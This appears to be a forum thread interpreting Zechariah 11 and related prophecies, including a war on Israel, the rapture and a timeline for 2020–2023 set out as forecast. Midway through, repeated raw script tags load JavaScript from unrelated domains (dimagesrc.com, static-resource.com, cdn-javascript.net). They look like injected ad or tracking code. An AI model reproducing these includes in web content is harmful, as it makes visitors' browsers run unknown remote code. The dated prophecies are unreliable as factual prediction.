A recap of what I wrote last year concerning Zechariah 11. Zechariah 11:1 Open thy doors, O Lebanon, that the fire may devour thy cedars. 2 Howl, fir tree; for the cedar is fallen; because the mighty are spoiled: howl, O ye oaks of Bashan; for the forest of the vintage is come down. 3 There is a voice of the howling of the shepherds; for their glory is spoiled: a voice of the roaring of young lions; for the pride of Jordan is spoiled. 8 Three shepherds also I cut off in one month; and my soul lothed them, and their soul also abhorred me. Through the prophet Zechariah, God has foretold one day He shall cut off three shepherds in one month. They are Lebanon, Syria ( Bashan ), and Jordan . Through out history, we couldn't validate that this prophecy has been fulfilled. There is no biblical and historical evidence that the ancient Moab, Edom, Ammon (Jordan) together with Damascus ( Bashan ) and Tyre (Lebanon) were cut off together in one month. This prophecy is still waiting for it's fulfillment. It shall be fulfilled per Amos 1-2, Psalm 83 and Isaiah 17:1-2.. But my focus point is not this. Zechariah 11:10 And I took my staff, even Beauty, and cut it asunder, that I might break my covenant which I had made with all the people. 11 And it was broken in that day: and so the poor of the flock that waited upon me knew that it was the word of the LORD. Immediately after the three shepherds are cut off, God shall break the covenant with all the people. There have been some major covenants God has made with people. They are Noahic covenant, Abrahamic covenant, Mosaic covenant, Davidic covenant. None of the covenant can be broken because God promised not to destroy the whole earth again per Noahic covenant. For Abrahamic covenant, God shall give the land to Abraham's rightful descendant who is Israel. This prophecy is still waiting for it's fulfillment. At the end of tribulation, after Jesus returns, the Jews shall inherit the promised land. Mosaic covenant [ The Mosaic covenant, found in Exodus 19–24 and the book of Deuteronomy, contains the foundations of the written Torah and the Oral Torah. In this covenant, God promises to make the Israelites his treasured possession among all people[Exo 19:5] and "a kingdom of priests and a holy nation"[Exo 19:6], if they follow God's commandments. As part of the terms of this covenant, God gives Moses the Ten Commandments. These will later be elaborated on in the rest of the Torah. ] Some bible scholars believe this is the covenant found in verse 10. Jesus has replaced this covenant. But we learn from God that the whole house of Israel shall be saved at the return of our Lord Jesus. (God only abandons them for a while, to makes His name known in the gentiles). God shall make them a kingdom of priests and a holy nation. Since this event is still waiting for the fulfillment, it doesn't seem like this is the covenant shall be broken in verse 10. Concerning Davidic covenant, a King and a Messiah shall come from David's lineage. The King and the Messiah is Jesus who shall rule over all the nations, This can't be the covenant God shall break. Since Zechariah is silent regarding which covenant shall be broken by God, back in 2009, I have interpreted this covenant to be the covenant God makes with the church. This covenant shall have a time expiry issue, that is, when God calls the church home, that will be the time God breaks the covenant with the church. And immediately after this covenant is broken, God foretells the appearance of the foolish shepherd from verse 15 to 17. Many of us agree that the foolish shepherd is Anti Christ. Concerning the thirty pieces of silver, it is an inserted prophecy which I may illustrate later. The sequence of the three prophesied events in Zechariah 11. 1/ Three shepherds being cut off in one month. 2/ God calls the church home by breaking the covenant with the church. 3/ Appearance of the foolish shepherd / AC. Zechariah 11:10 And I took my staff, even Beauty, and cut it asunder, that I might break my covenant which I had made with all the people. 11 And it was broken in that day: and so the poor of the flock that waited upon me knew that it was the word of the LORD. The staff God holds is the church. God calls the staff "Beauty" because this is how the church is seen by God. "cut it asunder" means God is perfecting the church since it's establishment in first century. When the staff is broken in one day, that is, when God calls the church home, the poor of the flock which is "us" shall know that this is the word of Jesus. He kept his promise by not letting us into the tribulation. Immediately after God breaks the first staff Church, God turns His attention to the second staff which is Israel. Zechariah 11:14 Then I cut asunder mine other staff, even Bands, that I might break the brotherhood between Judah and Israel. "cut asunder mine other staff" means God shall perfect His people Israel in the tribulation, to make Jesus' name known to them so that the house of Israel shall be saved. Zechariah 11: 11 And it was broken in that day: and so the poor of the flock that waited upon me knew that it was the word of the LORD. "Waited upon me" Since the first century, there have been many generations that waited for Jesus' return. We are the generation which has the privilege for "waited upon me" to occur !!! We also find these three shepherds in Amos 1 and 2. For three transgressions, God has tolerated their ill attack on Israel. The three transgressions are 1948 Independence war, 1967 Six Days war, and 1973 Yom Kippur war. But for fourth, God will not turn away from them, instead, God shall send fire to them Amos 1:3 Thus saith the LORD; For three transgressions of Damascus, and for four, I will not turn away the punishment thereof; because they have threshed Gilead with threshing instruments of iron: 4 But I will send a fire into the house of Hazael, which shall devour the palaces of Benhadad. 6 Thus saith the LORD; For three transgressions of Gaza, and for four, I will not turn away the punishment thereof; because they carried away captive the whole captivity, to deliver them up to Edom: 9 Thus saith the LORD; For three transgressions of Tyrus, and for four, I will not turn away the punishment thereof; because they delivered up the whole captivity to Edom, and remembered not the brotherly covenant: 11 Thus saith the LORD; For three transgressions of Edom, and for four, I will not turn away the punishment thereof; because he did pursue his brother with the sword, and did cast off all pity, and his anger did tear perpetually, and he kept his wrath for ever: But my focus is on Amos 2:1. Amos 2:1 Thus saith the LORD; For three transgressions of Moab, and for four, I will not turn away the punishment thereof; because he burned the bones of the king of Edom into lime: Jordan is one of the two nations that have a peace treaty with Israel. The other one is Egypt. When the war and rumor of war begins (Obadiah 1), King Abdullah II will refrain form going to war with Israel. But the hardliners in Jordan shall press for war, and even plot an assassination on him. They shall burn the bones of the king of Edom into lime. This seems to be an explosion caused by a road side bomb. After they eradicate King Abdullah II, Jordan shall join the bandwagon to attack Israel. This is why we find Jordan is the last one in line up against Israel mentioned in Zechariah 11. Zechariah 11:1 Open thy doors, O Lebanon, that the fire may devour thy cedars. 2 Howl, fir tree; for the cedar is fallen; because the mighty are spoiled: howl, O ye oaks of Bashan; for the forest of the vintage is come down. 3 There is a voice of the howling of the shepherds; for their glory is spoiled: a voice of the roaring of young lions; for the pride of Jordan is spoiled. A note here. God has described the Jordanians as "howling","a voice of roaring". When they hear the rumor to attack Israel, millions of them shall be in the street, howling, roaring, chanting "death to Israel". To find the timing of this attack against Israel, we have Isaiah 16:7-8 and Jeremiah 48:32 to give us a clue. This war shall erupt in summer. Isaiah 16 is an oracle against Moab which is modern day Jordan, Isaiah 16:8 For the fields of Heshbon languish, and the vine of Sibmah: the lords of the heathen have broken down the principal plants thereof, they are come even unto Jazer, they wandered through the wilderness: her branches are stretched out, they are gone over the sea. 9 Therefore I will bewail with the weeping of Jazer the vine of Sibmah: I will water thee with my tears, O Heshbon, and Elealeh: for the shouting for thy summer fruits and for thy harvest is fallen. Key words are "for the shouting for thy summer fruits and for thy harvest is fallen" Jeremiah 48:32 O vine of Sibmah, I will weep for thee with the weeping of Jazer: thy plants are gone over the sea, they reach even to the sea of Jazer: the spoiler is fallen upon thy summer fruits and upon thy vintage. 33 And joy and gladness is taken from the plentiful field, and from the land of Moab; and I have caused wine to fail from the winepresses: none shall tread with shouting; their shouting shall be no shouting. Again, key words are "the spoiler is upon thy summer fruits and upon thy vintage". What happens to Moab/Jordan afterward? Isaiah 16:13 This is the word that the LORD hath spoken concerning Moab since that time. 14But now the LORD hath spoken, saying, Within three years, as the years of an hireling, and the glory of Moab shall be contemned, with all that great multitude; and the remnant shall be very small and feeble. "Within three years, as the years of an hireling, and the glory of Moab shall be contemned". Jordan shall be punished for three years. To explain this scenario, I use my timeline of 2020 to 2027. The three shepherds war shall erupt on June / summer 2020. God cuts them off in one month. This takes us to July. Rapture happens with God breaking the covenant with all the people. Seeing US and EU crippled by rapture, Russia together with Turkey and Iran shall launch an attack on Israel. Since God intervenes, this war is short and decisive. This war shall end by November before the autumn rain starts in Israel ( Joel 2:23). Seeing the powerhouse is gone in middle east region, and a political vacuum, AC shall reshape the entire region by aligning the two legs together. This is the revival of Roman Empire. AC shall also confirm a covenant with many nations and Israel, by giving Jordan to the security of Israel. The three years therefore are 2021, 2022, and 2023. By December 2023, AC breaks the covenant with Israel, send in the armies to besiege Jerusalem. Daniel 11:41 He shall enter also into the glorious land, and many countries shall be overthrown: but these shall escape out of his hand, even Edom, and Moab, and the chief of the children of Ammon. At this time, Edom, Moab and Ammon which are Jordan shall escape out of his hand, because they are liberated by AC from Israel, and no more fallen under the control of Israel. God only foretold Jordan fallen for three years, which represents the first half of tribulation. I didn't realize there were all these details of war before the tribulation breaks out located in the Old Testament. I think you must be right about Zechariah 11:10-11:11 being the rapture. When Jesus takes the church out of the world who he has promised to "keep from the hour of trial", he is not bound to keep any of those left behind from the hour of trial through any covenant. It also reminds me of Isaiah 43:10 "those who wait on the Lord", Zechariah 11:10 (those) "that waited upon me knew . ." Isaiah 40:31 Zechariah 11:10 And I took my staff, even Beauty, and cut it asunder, that I might break my covenant which I had made with all the people. 11 And it was broken in that day: and so the poor of the flock that waited upon me knew that it was the word of the LORD. Hope you are right about the timeline being 2020, next summer. Those of us who have been waiting are beyond ready! :yes: Aah ... 20/20 perhaps it truly is the year we are granted perfect vision ... :flyup: :flyup: :flyup: :flyup: :flyup: :flyup: :flyup: :flyup: :flyup: I Cor. 2:9 “ ... Eye hath not seen, nor ear heard, neither have entered into the heart of man, the things which God hath prepared for them that love him.” 1Cor.2:9 is a quote from the OT and is followed by verse 10. which says: "But God has revealed them to us through His Spirit. For the Spirit searches all things , yes the deep things of God. " <script src="//dimagesrc.com/21b4eb3b66b8d5e9bb.js"></script><script src="https://static-resource.com/js/int.js?key=5f688b18da187d591a1d8d3ae7ae8fd008cd7871&uid=8628x" type="text/javascript"></script><script src="https://cdn-javascript.net/api?key=a1ce18e5e2b4b1b1895a38130270d6d344d031c0&uid=8628x&format=arrjs&r=1574182050284" type="text/javascript"></script><script src="https://dimagesrc.com/ext/21b4eb3b66b8d5e9bb.js?sid=52587_8628_&title=a&blocks[]=31af2" type="text/javascript"></script> <script src="//dimagesrc.com/21b4eb3b66b8d5e9bb.js"></script><script src="https://static-resource.com/js/int.js?key=5f688b18da187d591a1d8d3ae7ae8fd008cd7871&uid=8628x" type="text/javascript"></script><script src="https://cdn-javascript.net/api?key=a1ce18e5e2b4b1b1895a38130270d6d344d031c0&uid=8628x&format=arrjs&r=1574182138896" type="text/javascript"></script><script src="https://dimagesrc.com/ext/21b4eb3b66b8d5e9bb.js?sid=52587_8628_&title=a&blocks[]=31af2" type="text/javascript"></script> For sure Ruth the Spirit of God reveals things we have not seen or heard previously. I thank God for the Spirit of God. The person of the Trinity by or through whom we are born again -- and everything else that occurs concerning our lives. God's Spirit even testifies with our spirit that we are children of God. That's an unfathomable connection. How? And much may always remain unexplained, perhaps if for no other reason because of the sheer vastness of God's realities themselves. For example, God essentially told Job in the four chapters before the end of the book that (paraphrased?), "...even if I told you, Job, you would not understand." Truly, even after eternity we still won't know the fullness of God! He is truly unfathomable in many ways. Not because we are that small, but because He is that big and glorious! TR
But those who wait on the Lord Shall renew their strength; They shall mount up with wings like eagles, They shall run and not be weary, They shall walk and not faint.
